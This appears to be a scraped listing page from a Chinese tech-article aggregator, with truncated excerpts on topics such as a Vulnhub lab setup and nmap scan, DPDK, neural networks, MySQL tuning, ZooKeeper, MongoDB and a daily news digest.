<div>7月29日星期二,农历闰六月初五,早报#微语早读。1、国家育儿补贴方案公布!3周岁前每娃每年3600元;2、火狐浏览器官宣关闭北京公司,将终止中国账户服务;3、税务总局:2021年以来查处网络主播偷逃税案件360余起,查补税款30多亿元;4、江苏省体育局:职业俱乐部获男足中超冠军奖补3000万元;5、深圳出现首宗基孔肯雅热病例;6、税务总局:从今年个税汇算看,超1亿纳税人依法申请退税1300多亿,</div> </li> <li><a href="/article/1950213145742077952.htm" title="02-Breakout靶机攻略" target="_blank">02-Breakout靶机攻略</a> <span class="text-muted">ZLlllllll0</span> <a class="tag" taget="_blank" href="/search/02-Breakout%E9%9D%B6%E6%9C%BA/1.htm">02-Breakout靶机</a> <div>第一步搭建靶机下载地址:https://download.vulnhub.com/empire/02-Breakout.zip下载好了之后直接用VM打开然后右击虚拟机,把网络连接改成nat模式第二步,信息收集然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址nmap192.168.109.1/24扫</div> </li> <li><a href="/article/1950212799284178944.htm" title="何为社群?" target="_blank">何为社群?</a> <span class="text-muted">ohh_1636</span> <div>一般社会学家与地理学家所指的社群(community),广义而言是指在某些边界线、地区或领域内发生作用的一切社会关系。它可以指实际的地理区域或是在某区域内发生的社会关系,或指存在于较抽象的、思想上的关系,除此之外。Worsley(1987)曾提出社群的广泛涵义:可被解释为地区性的社区;用来表示一个有相互关系的网络;社群可以是一种特殊的社会关系,包含社群精神(communityspirit)或社群情</div> </li> <li><a href="/article/1950209236877242368.htm" title="严重的DDoS 攻击澳大利亚主要宽带提供商" target="_blank">严重的DDoS 攻击澳大利亚主要宽带提供商</a> <span class="text-muted">Fancy1816575412</span> <div>本周早些时候,澳大利亚最大的固定无线宽带运营商CirrusCommunications遭受了一次重大的DDoS攻击,导致其一半以上的网络瘫痪。该公司在其网站上声称:“强大的架构、数百个传输站点以及光纤和微波回程的使用使其能够以非常高的正常运行时间提供高速”。CirrusCommunications表示,它覆盖了澳大利亚十大人口中心以及几个主要的区域中心,主要为企业和政府客户提供服务。然而,据The</div> </li> <li><a href="/article/1950208107032408064.htm" title="DPDK 技术详解:榨干网络性能的“瑞士军刀”" target="_blank">DPDK 技术详解:榨干网络性能的“瑞士军刀”</a> <span class="text-muted"></span> <div>你是否曾感觉,即使拥有顶级的服务器和万兆网卡,你的网络应用也总是“喂不饱”硬件,性能总差那么一口气?传统的网络处理方式,就像在高速公路上设置了太多的收费站和检查点,限制了数据包的“奔跑”速度。今天,我们要深入探讨一个能够打破这些瓶颈,让你的网络应用快到飞起的“黑科技”——DPDK(DataPlaneDevelopmentKit,数据平面开发套件)。这不仅仅是一个工具包,更是一种全新的网络处理哲学。</div> </li> <li><a href="/article/1950207970721722368.htm" title="老公的女朋友把我打成小三后,我杀疯了周昊净许青青小说完结推荐_最热门小说 老公的女朋友把我打成小三后,我杀疯了周昊净许青青" target="_blank">老公的女朋友把我打成小三后,我杀疯了周昊净许青青小说完结推荐_最热门小说 老公的女朋友把我打成小三后,我杀疯了周昊净许青青</a> <span class="text-muted">小富江呀</span> <div>《老公的女朋友把我打成小三后,我杀疯了》主角:周昊净许青青简介:只因跟老公说了几句情话,就被老公的‘女朋友’当成小三。她带着一群自诩为“惩治小三联盟”的网络判官冲进了我家。“怎么,有脸当小三,没脸承认?”“从你当小三的那一刻起,就该想到会有被人收拾的一天!”“我们网络判官专治道德败坏的贱人!”这群人一边疯狂大骂,一边愤怒打砸。看着狼藉不堪的家,我面色平静地给公司法务部发去消息。“按照婚前协议,拟一</div> </li> <li><a href="/article/1950207097023033344.htm" title="Pktgen-DPDK:开源网络测试工具的深度解析与应用" target="_blank">Pktgen-DPDK:开源网络测试工具的深度解析与应用</a> <span class="text-muted">艾古力斯</span> <div>本文还有配套的精品资源,点击获取简介:Pktgen-DPDK是基于DPDK的高性能流量生成工具,适用于网络性能测试、硬件验证及协议栈开发。它支持多种网络协议,能够模拟高吞吐量的数据包发送。本项目通过利用DPDK的高速数据包处理能力,允许用户自定义数据包内容,并实现高效的数据包管理与传输。文章将指导如何安装DPDK、编译Pktgen、配置工具以及使用方法,最终帮助开发者和网络管理员深入理解并优化网络</div> </li> <li><a href="/article/1950207097413103616.htm" title="微信公众号回调java_处理微信公众号消息回调" target="_blank">微信公众号回调java_处理微信公众号消息回调</a> <span class="text-muted">weixin_39607620</span> <a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E5%9B%9E%E8%B0%83java/1.htm">微信公众号回调java</a> <div>1、背景在上一节中,咱们知道如何接入微信公众号,可是以后公众号会与咱们进行交互,那么微信公众号如何通知到咱们本身的服务器呢?咱们知道咱们接入的时候提供的url是GET/mp/entry,那么公众号以后产生的事件将会以POST/mp/entry发送到咱们本身的服务器上。html2、代码实现,此处仍是使用weixin-java-mp这个框架实现一、引入weixin-java-mpcom.github.</div> </li> <li><a href="/article/1950202869147824128.htm" title="链商拉不到人能赚钱么,谈谈我的看法" target="_blank">链商拉不到人能赚钱么,谈谈我的看法</a> <span class="text-muted">糖葫芦不甜</span> <div>链商作为一种新兴的商业形态,往往依赖于用户网络的扩展和交易量的增加来实现价值增长,但这并不意味着没有直接拉新就无法盈利。以下是我对这一问题的几点看法:招合作伙伴↓微信在文章底部。首先,链商能否赚钱,关键在于其是否能提供独特且有价值的产品或服务。如果链商平台能够构建出高效、透明、安全的价值交换体系,解决行业痛点,提升用户体验,那么即使没有大规模的拉新活动,也能通过现有用户的口碑传播和持续使用来产生稳</div> </li> <li><a href="/article/1950199910724857856.htm" title="机器学习必备数学与编程指南:从入门到精通" target="_blank">机器学习必备数学与编程指南:从入门到精通</a> <span class="text-muted">a小胡哦</span> <a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%9F%BA%E7%A1%80/1.htm">机器学习基础</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>一、机器学习核心数学基础1.线性代数(神经网络的基础)必须掌握:矩阵运算(乘法、转置、逆)向量空间与线性变换特征值分解与奇异值分解(SVD)为什么重要:神经网络本质就是矩阵运算学习技巧:用NumPy实际操作矩阵运算2.概率与统计(模型评估的关键)核心概念:条件概率与贝叶斯定理概率分布(正态、泊松、伯努利)假设检验与p值应用场景:朴素贝叶斯、A/B测试3.微积分(优化算法的基础)重点掌握:导数与偏导</div> </li> <li><a href="/article/1950198270882017280.htm" title="《UNIX网络编程卷1:套接字联网API》第8章:基本UDP套接字编程深度解析" target="_blank">《UNIX网络编程卷1:套接字联网API》第8章:基本UDP套接字编程深度解析</a> <span class="text-muted"></span> <div>《UNIX网络编程卷1:套接字联网API》第8章:基本UDP套接字编程深度解析(8000字图文实战)一、UDP协议核心特性与编程模型1.1UDP协议设计哲学UDP(UserDatagramProtocol)是面向无连接的传输层协议(图1),其核心特征包括:无连接通信:无需三次握手,直接发送数据报尽最大努力交付:不保证可靠性、不维护连接状态报文边界保留:接收方读取的数据与发送方写入完全一致低开销高效</div> </li> <li><a href="/article/1950193607310897152.htm" title="神经形态计算如何突破冯·诺依曼架构限制?" target="_blank">神经形态计算如何突破冯·诺依曼架构限制?</a> <span class="text-muted">AI算力网络与通信</span> <a class="tag" taget="_blank" href="/search/AI%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E4%B8%8E%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%8A%80%E6%9C%AF/1.htm">AI人工智能与大数据技术</a><a class="tag" taget="_blank" href="/search/AI%E7%AE%97%E5%8A%9B%E7%BD%91%E7%BB%9C%E4%B8%8E%E9%80%9A%E4%BF%A1%E5%8E%9F%E7%90%86/1.htm">AI算力网络与通信原理</a><a class="tag" taget="_blank" href="/search/AI%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%A4%A7%E6%95%B0%E6%8D%AE%E6%9E%B6%E6%9E%84/1.htm">AI人工智能大数据架构</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/ai/1.htm">ai</a> <div>神经形态计算如何突破冯·诺依曼架构限制?关键词:神经形态计算、冯·诺依曼架构、内存墙、存算一体、脉冲神经网络、类脑芯片、低功耗计算摘要:本文将从“冯·诺依曼架构的前世今生”讲起,用“图书馆管理员搬书”的生活案例类比其核心矛盾,再通过“人脑神经元工作模式”的比喻引入神经形态计算的核心原理。我们将一步步拆解冯·诺依曼架构的三大限制(内存墙、高功耗、非结构化数据处理弱),并对应解析神经形态计算的三大突破</div> </li> <li><a href="/article/1950191208873652224.htm" title="vue element 封装表单" target="_blank">vue element 封装表单</a> <span class="text-muted">影子信息</span> <a class="tag" taget="_blank" href="/search/vue/1.htm">vue</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>背景:在前端系统开发中,系统页面涉及到的表单组件比较多,所以进行了简单的封装。封装的包括一些Form表单组件,如下:input输入框、select下拉框、等实现效果:理论知识:表单组件官方链接:点击跳转封装组件:封装组件的思路:不封装element组件,每一个input组件绑定一个form对象,例如官网。简单封装element组件,利用for循环生成form表单的每一项el-form-item。进</div> </li> <li><a href="/article/1950191165710069760.htm" title="前端面试每日 3+1 —— 第39天" target="_blank">前端面试每日 3+1 —— 第39天</a> <span class="text-muted">浪子神剑</span> <div>今天的面试题(2019.05.25)——第39天[html]title与h1、b与strong、i与em的区别分别是什么?[css]写出你知道的CSS水平和垂直居中的方法[js]说说你对模块化的理解[软技能]公钥加密和私钥加密是什么?《论语》,曾子曰:“吾日三省吾身”(我每天多次反省自己)。前端面试每日3+1题,以面试题来驱动学习,每天进步一点!让努力成为一种习惯,让奋斗成为一种享受!欢迎在Iss</div> </li> <li><a href="/article/1950189637582516224.htm" title="流量的传递" target="_blank">流量的传递</a> <span class="text-muted">L次第花开</span> <div>罗书萍焦点网络四期周口项城坚持分享第509天2018.07.29周日三年前的一次谈话说我改变的相对快一些,那时我没有流量。迷茫,无助中在不断的反思,我哪里错了,错不在我,有诸多不安定因素在里面。同时我又在想,我改变的突破口在哪呢?在哪呢?在哪呢?遇上焦点,竟然选对平台抓住机会了,跟对了老师,有了更多的交流,焦点小屋传递着温暖,释放了不安,获得了流量,让我满血复活,有了希望。昨天,您问我学习心理学学</div> </li> <li><a href="/article/1950188562695647232.htm" title="qemu virt-manager 创建虚拟机设置虚拟机桥接网络" target="_blank">qemu virt-manager 创建虚拟机设置虚拟机桥接网络</a> <span class="text-muted">三希</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在virt-manager中设置虚拟机桥接网络的步骤如下:确认主机网络桥接已配置打开终端,执行brctlshow命令查看是否已有桥接接口(通常名为br0或类似名称)如果没有桥接接口,需先创建:sudonano/etc/netplan/01-netcfg.yaml添加类似以下配置(根据实际网卡调整):yamlnetwork:version:2renderer:networkdethernets:en</div> </li> <li><a href="/article/1950185537319006208.htm" title="新手如何通过github pages静态网站托管搭建个人网站和项目站点" target="_blank">新手如何通过github pages静态网站托管搭建个人网站和项目站点</a> <span class="text-muted">vvandre</span> <a class="tag" taget="_blank" href="/search/Web%E6%8A%80%E6%9C%AF/1.htm">Web技术</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a> <div>一、githubpages静态网站托管介绍githubpages它是一个免费快捷的静态网站托管服务。对比传统建站,它有哪些优点呢?在传统方式中,首先要租用服务器,服务器上需要运行外部程序,还需要再购买域名,要配置SSL证书,最后还要配置DNS,将域名解析到服务器。这一套繁琐操作,基本上就把小白劝退了。graphTDA[租用服务器]-->B[部署Web应用(运行外部程序,如Nginx)]B-->C[</div> </li> <li><a href="/article/1950181882679324672.htm" title="深入理解卷积神经网络(CNN)与循环神经网络(RNN)" target="_blank">深入理解卷积神经网络(CNN)与循环神经网络(RNN)</a> <span class="text-muted">CodeJourney.</span> <a class="tag" taget="_blank" href="/search/cnn/1.htm">cnn</a><a class="tag" taget="_blank" href="/search/rnn/1.htm">rnn</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>在当今的人工智能领域,神经网络无疑是最为璀璨的明珠之一。而卷积神经网络(ConvolutionalNeuralNetworks,CNN)和循环神经网络(RecurrentNeuralNetworks,RNN)作为神经网络家族中的重要成员,各自有着独特的架构和强大的功能,广泛应用于众多领域。本文将深入探讨这两种神经网络的原理、特点以及应用场景,为对深度学习感兴趣的读者提供全面的知识讲解。一、卷积神经</div> </li> <li><a href="/article/1950179236295798784.htm" title="word转pdf、pdf转word在线工具分享" target="_blank">word转pdf、pdf转word在线工具分享</a> <span class="text-muted">bpmh</span> <a class="tag" taget="_blank" href="/search/%E5%B8%B8%E7%94%A8%E5%B7%A5%E5%85%B7/1.htm">常用工具</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a><a class="tag" taget="_blank" href="/search/pdf/1.htm">pdf</a> <div>️一、在线转换网站(方便快捷,无需安装)MicrosoftOfficeOnline(官方推荐,最安全可靠):网址:直接使用你的Microsoft账户登录https://www.office.com/方法:将你的.docx或.doc文件上传到OneDrive。在OfficeOnline中打开该Word文档。点击文件>另存为>下载PDF副本。优点:官方出品,完全免费,无需额外上传到第三方服务器,安全性</div> </li> <li><a href="/article/1950178605208236032.htm" title="时序预测 | MATLAB实现贝叶斯优化CNN-GRU时间序列预测(股票价格预测)" target="_blank">时序预测 | MATLAB实现贝叶斯优化CNN-GRU时间序列预测(股票价格预测)</a> <span class="text-muted">Matlab机器学习之心</span> <a class="tag" taget="_blank" href="/search/matlab/1.htm">matlab</a><a class="tag" taget="_blank" href="/search/cnn/1.htm">cnn</a><a class="tag" taget="_blank" href="/search/gru/1.htm">gru</a> <div>✅作者简介:热爱数据处理、数学建模、仿真设计、论文复现、算法创新的Matlab仿真开发者。更多Matlab代码及仿真咨询内容点击主页:Matlab科研工作室个人信条:格物致知,期刊达人。内容介绍股票价格预测一直是金融领域一个极具挑战性的课题。其内在的非线性、随机性和复杂性使得传统的预测方法难以取得令人满意的效果。近年来,深度学习技术,特别是卷积神经网络(CNN)和门控循环单元(GRU)的结合,为时</div> </li> <li><a href="/article/1950178477592342528.htm" title="前端数据库:IndexedDB从基础到高级使用指南" target="_blank">前端数据库:IndexedDB从基础到高级使用指南</a> <span class="text-muted"></span> <div>文章目录前端数据库:IndexedDB从基础到高级使用指南引言一、IndexedDB概述1.1什么是IndexedDB1.2与其他存储方案的比较二、基础使用2.1打开/创建数据库2.2基本CRUD操作添加数据读取数据更新数据删除数据三、高级特性3.1复杂查询与游标3.2事务高级用法3.3性能优化技巧四、实战案例:构建离线优先的待办事项应用4.1数据库设计4.2同步策略实现五、常见问题与解决方案5.</div> </li> <li><a href="/article/1950176082833502208.htm" title="时序预测 | MATLAB实现BO-CNN-GRU贝叶斯优化卷积门控循环单元时间序列预测" target="_blank">时序预测 | MATLAB实现BO-CNN-GRU贝叶斯优化卷积门控循环单元时间序列预测</a> <span class="text-muted">Matlab算法改进和仿真定制工程师</span> <a class="tag" taget="_blank" href="/search/matlab/1.htm">matlab</a><a class="tag" taget="_blank" href="/search/cnn/1.htm">cnn</a><a class="tag" taget="_blank" href="/search/gru/1.htm">gru</a> <div>✅作者简介:热爱数据处理、数学建模、算法创新的Matlab仿真开发者。更多Matlab代码及仿真咨询内容点击:Matlab科研工作室个人信条:格物致知。内容介绍时间序列预测在各个领域都具有重要的应用价值,例如金融市场预测、气象预报、交通流量预测等。准确地预测未来趋势对于决策制定至关重要。近年来,深度学习技术在时间序列预测领域取得了显著进展,其中卷积神经网络(CNN)和门控循环单元(GRU)由于其强</div> </li> <li><a href="/article/1950175452580605952.htm" title="Gerapy爬虫管理框架深度解析:企业级分布式爬虫管控平台" target="_blank">Gerapy爬虫管理框架深度解析:企业级分布式爬虫管控平台</a> <span class="text-muted">Python×CATIA工业智造</span> <a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/pycharm/1.htm">pycharm</a> <div>引言:爬虫工程化的必然选择随着企业数据采集需求指数级增长,传统单点爬虫管理模式面临三重困境:管理效率瓶颈:手动部署耗时占开发总时长的40%以上系统可靠性低:研究显示超过65%的爬虫故障源于部署或调度错误资源利用率差:平均爬虫服务器CPU利用率不足30%爬虫管理方案对比:┌───────────────┬─────────────┬───────────┬───────────┬──────────</div> </li> <li><a href="/article/15.htm" title="Spring4.1新特性——Spring MVC增强" target="_blank">Spring4.1新特性——Spring MVC增强</a> <span class="text-muted">jinnianshilongnian</span> <a class="tag" taget="_blank" href="/search/spring+4.1/1.htm">spring 4.1</a> <div>目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T</div> </li> <li><a href="/article/142.htm" title="mysql 性能查询优化" target="_blank">mysql 性能查询优化</a> <span class="text-muted">annan211</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E4%BC%98%E5%8C%96/1.htm">优化</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a> <div> 1 时间到底花在哪了? mysql在执行查询的时候需要执行一系列的子任务,这些子任务包含了整个查询周期最重要的阶段,这其中包含了大量为了 检索数据列到存储引擎的调用以及调用后的数据处理,包括排序、分组等。在完成这些任务的时候,查询需要在不同的地方 花费时间,包括网络、cpu计算、生成统计信息和执行计划、锁等待等。尤其是向底层存储引擎检索数据的调用操作。这些调用需要在内存操</div> </li> <li><a href="/article/269.htm" title="windows系统配置" target="_blank">windows系统配置</a> <span class="text-muted">cherishLC</span> <a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a> <div>删除Hiberfil.sys :使用命令powercfg -h off 关闭休眠功能即可: http://jingyan.baidu.com/article/f3ad7d0fc0992e09c2345b51.html 类似的还有pagefile.sys msconfig 配置启动项 shutdown 定时关机 ipconfig 查看网络配置 ipconfig /flushdns</div> </li> <li><a href="/article/396.htm" title="人体的排毒时间" target="_blank">人体的排毒时间</a> <span class="text-muted">Array_06</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a> <div>======================== ||  人体的排毒时间是什么时候?|| ======================== 转载于: http://zhidao.baidu.com/link?url=ibaGlicVslAQhVdWWVevU4TMjhiKaNBWCpZ1NS6igCQ78EkNJZFsEjCjl3T5EdXU9SaPg04bh8MbY1bR</div> </li> <li><a href="/article/523.htm" title="ZooKeeper" target="_blank">ZooKeeper</a> <span class="text-muted">cugfy</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div>Zookeeper是一个高性能,分布式的,开源分布式应用协调服务。它提供了简单原始的功能,分布式应用可以基于它实现更高级的服务,比如同步, 配置管理,集群管理,名空间。它被设计为易于编程,使用文件系统目录树作为数据模型。服务端跑在java上,提供java和C的客户端API。 Zookeeper是Google的Chubby一个开源的实现,是高有效和可靠的协同工作系统,Zookeeper能够用来lea</div> </li> <li><a href="/article/650.htm" title="网络爬虫的乱码处理" target="_blank">网络爬虫的乱码处理</a> <span class="text-muted">随意而生</span> <a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>下边简单总结下关于网络爬虫的乱码处理。注意,这里不仅是中文乱码,还包括一些如日文、韩文 、俄文、藏文之类的乱码处理,因为他们的解决方式 是一致的,故在此统一说明。     网络爬虫,有两种选择,一是选择nutch、hetriex,二是自写爬虫,两者在处理乱码时,原理是一致的,但前者处理乱码时,要看懂源码后进行修改才可以,所以要废劲一些;而后者更自由方便,可以在编码处理</div> </li> <li><a href="/article/777.htm" title="Xcode常用快捷键" target="_blank">Xcode常用快捷键</a> <span class="text-muted">张亚雄</span> <a class="tag" taget="_blank" href="/search/xcode/1.htm">xcode</a> <div>一、总结的常用命令:     隐藏xcode command+h     退出xcode command+q     关闭窗口 command+w     关闭所有窗口 command+option+w     关闭当前</div> </li> <li><a href="/article/904.htm" title="mongoDB索引操作" target="_blank">mongoDB索引操作</a> <span class="text-muted">adminjun</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/%E7%B4%A2%E5%BC%95/1.htm">索引</a> <div>一、索引基础:    MongoDB的索引几乎与传统的关系型数据库一模一样,这其中也包括一些基本的优化技巧。下面是创建索引的命令:    > db.test.ensureIndex({"username":1})    可以通过下面的名称查看索引是否已经成功建立: &nbs</div> </li> <li><a href="/article/1031.htm" title="成都软件园实习那些话" target="_blank">成都软件园实习那些话</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/%E6%88%90%E9%83%BD+%E8%BD%AF%E4%BB%B6%E5%9B%AD+%E5%AE%9E%E4%B9%A0/1.htm">成都 软件园 实习</a> <div>无聊之中,翻了一下日志,发现上一篇经历是很久以前的事了,悔过~~   断断续续离开了学校快一年了,习惯了那里一天天的幼稚、成长的环境,到这里有点与世隔绝的感觉。不过还好,那是刚到这里时的想法,现在感觉在这挺好,不管怎么样,最要感谢的还是老师能给这么好的一次催化成长的机会,在这里确实看到了好多好多能想到或想不到的东西。   都说在外面和学校相比最明显的差距就是与人相处比较困难,因为在外面每个人都</div> </li> <li><a href="/article/1158.htm" title="Linux下FTP服务器安装及配置" target="_blank">Linux下FTP服务器安装及配置</a> <span class="text-muted">ayaoxinchao</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/FTP%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">FTP服务器</a><a class="tag" taget="_blank" href="/search/vsftp/1.htm">vsftp</a> <div>检测是否安装了FTP [root@localhost ~]# rpm -q vsftpd 如果未安装:package vsftpd is not installed  安装了则显示:vsftpd-2.0.5-28.el5累死的版本信息   安装FTP 运行yum install vsftpd命令,如[root@localhost ~]# yum install vsf</div> </li> <li><a href="/article/1285.htm" title="使用mongo-java-driver获取文档id和查找文档" target="_blank">使用mongo-java-driver获取文档id和查找文档</a> <span class="text-muted">BigBird2012</span> <a class="tag" taget="_blank" href="/search/driver/1.htm">driver</a> <div>注:本文所有代码都使用的mongo-java-driver实现。   在MongoDB中,一个集合(collection)在概念上就类似我们SQL数据库中的表(Table),这个集合包含了一系列文档(document)。一个DBObject对象表示我们想添加到集合(collection)中的一个文档(document),MongoDB会自动为我们创建的每个文档添加一个id,这个id在</div> </li> <li><a href="/article/1412.htm" title="JSONObject以及json串" target="_blank">JSONObject以及json串</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/JSONObject/1.htm">JSONObject</a> <div>一.JAR包简介     要使程序可以运行必须引入JSON-lib包,JSON-lib包同时依赖于以下的JAR包:     1.commons-lang-2.0.jar     2.commons-beanutils-1.7.0.jar     3.commons-collections-3.1.jar &n</div> </li> <li><a href="/article/1539.htm" title="[Zookeeper学习笔记之三]Zookeeper实例创建和会话建立的异步特性" target="_blank">[Zookeeper学习笔记之三]Zookeeper实例创建和会话建立的异步特性</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div>为了说明问题,看个简单的代码,   import org.apache.zookeeper.*; import java.io.IOException; import java.util.concurrent.CountDownLatch; import java.util.concurrent.ThreadLocal</div> </li> <li><a href="/article/1666.htm" title="【Scala十二】Scala核心六:Trait" target="_blank">【Scala十二】Scala核心六:Trait</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a> <div>Traits are a fundamental unit of code reuse in Scala. A trait encapsulates method and field definitions, which can then be reused by mixing them into classes. Unlike class inheritance, in which each c</div> </li> <li><a href="/article/1793.htm" title="weblogic version 10.3破解" target="_blank">weblogic version 10.3破解</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/weblogic/1.htm">weblogic</a> <div>版本:WebLogic Server 10.3 说明:%DOMAIN_HOME%:指WebLogic Server 域(Domain)目录 例如我的做测试的域的根目录 DOMAIN_HOME=D:/Weblogic/Middleware/user_projects/domains/base_domain 1.为了保证操作安全,备份%DOMAIN_HOME%/security/Defa</div> </li> <li><a href="/article/1920.htm" title="求第n个斐波那契数" target="_blank">求第n个斐波那契数</a> <span class="text-muted">BrokenDreams</span> <div>        今天看到群友发的一个问题:写一个小程序打印第n个斐波那契数。         自己试了下,搞了好久。。。基础要加强了。           &nbs</div> </li> <li><a href="/article/2047.htm" title="读《研磨设计模式》-代码笔记-访问者模式-Visitor" target="_blank">读《研磨设计模式》-代码笔记-访问者模式-Visitor</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a> <div>声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.util.ArrayList; import java.util.List; interface IVisitor { //第二次分派,Visitor调用Element void visitConcret</div> </li> <li><a href="/article/2174.htm" title="MatConvNet的excise 3改为网络配置文件形式" target="_blank">MatConvNet的excise 3改为网络配置文件形式</a> <span class="text-muted">cherishLC</span> <a class="tag" taget="_blank" href="/search/matlab/1.htm">matlab</a> <div>MatConvNet为vlFeat作者写的matlab下的卷积神经网络工具包,可以使用GPU。 主页: http://www.vlfeat.org/matconvnet/ 教程: http://www.robots.ox.ac.uk/~vgg/practicals/cnn/index.html 注意:需要下载新版的MatConvNet替换掉教程中工具包中的matconvnet: http</div> </li> <li><a href="/article/2301.htm" title="ZK Timeout再讨论" target="_blank">ZK Timeout再讨论</a> <span class="text-muted">chenchao051</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a><a class="tag" taget="_blank" href="/search/timeout/1.htm">timeout</a><a class="tag" taget="_blank" href="/search/hbase/1.htm">hbase</a> <div>http://crazyjvm.iteye.com/blog/1693757 文中提到相关超时问题,但是又出现了一个问题,我把min和max都设置成了180000,但是仍然出现了以下的异常信息: Client session timed out, have not heard from server in 154339ms for sessionid 0x13a3f7732340003</div> </li> <li><a href="/article/2428.htm" title="CASE WHEN 用法介绍" target="_blank">CASE WHEN 用法介绍</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/group+by/1.htm">group by</a><a class="tag" taget="_blank" href="/search/case+when/1.htm">case when</a> <div>CASE WHEN 用法介绍 1. CASE WHEN 表达式有两种形式 --简单Case函数  CASE sex  WHEN '1' THEN '男'  WHEN '2' THEN '女'  ELSE '其他' END  --Case搜索函数  CASE WHEN sex = '1' THEN </div> </li> <li><a href="/article/2555.htm" title="PHP技巧汇总:提高PHP性能的53个技巧" target="_blank">PHP技巧汇总:提高PHP性能的53个技巧</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div>PHP技巧汇总:提高PHP性能的53个技巧  用单引号代替双引号来包含字符串,这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量,  单引号则不会,注意:只有echo能这么做,它是一种可以把多个字符串当作参数的函数译注:  PHP手册中说echo是语言结构,不是真正的函数,故把函数加上了双引号)。  1、如果能将类的方法定义成static,就尽量定义成static,它的速度会提升将近4倍</div> </li> <li><a href="/article/2682.htm" title="Yii框架中CGridView的使用方法以及详细示例" target="_blank">Yii框架中CGridView的使用方法以及详细示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a> <div>CGridView显示一个数据项的列表中的一个表。 表中的每一行代表一个数据项的数据,和一个列通常代表一个属性的物品(一些列可能对应于复杂的表达式的属性或静态文本)。  CGridView既支持排序和分页的数据项。排序和分页可以在AJAX模式或正常的页面请求。使用CGridView的一个好处是,当用户浏览器禁用JavaScript,排序和分页自动退化普通页面请求和仍然正常运行。 实例代码如下:</div> </li> <li><a href="/article/2809.htm" title="Maven项目打包成可执行Jar文件" target="_blank">Maven项目打包成可执行Jar文件</a> <span class="text-muted">dyy_gusi</span> <a class="tag" taget="_blank" href="/search/assembly/1.htm">assembly</a> <div>Maven项目打包成可执行Jar文件 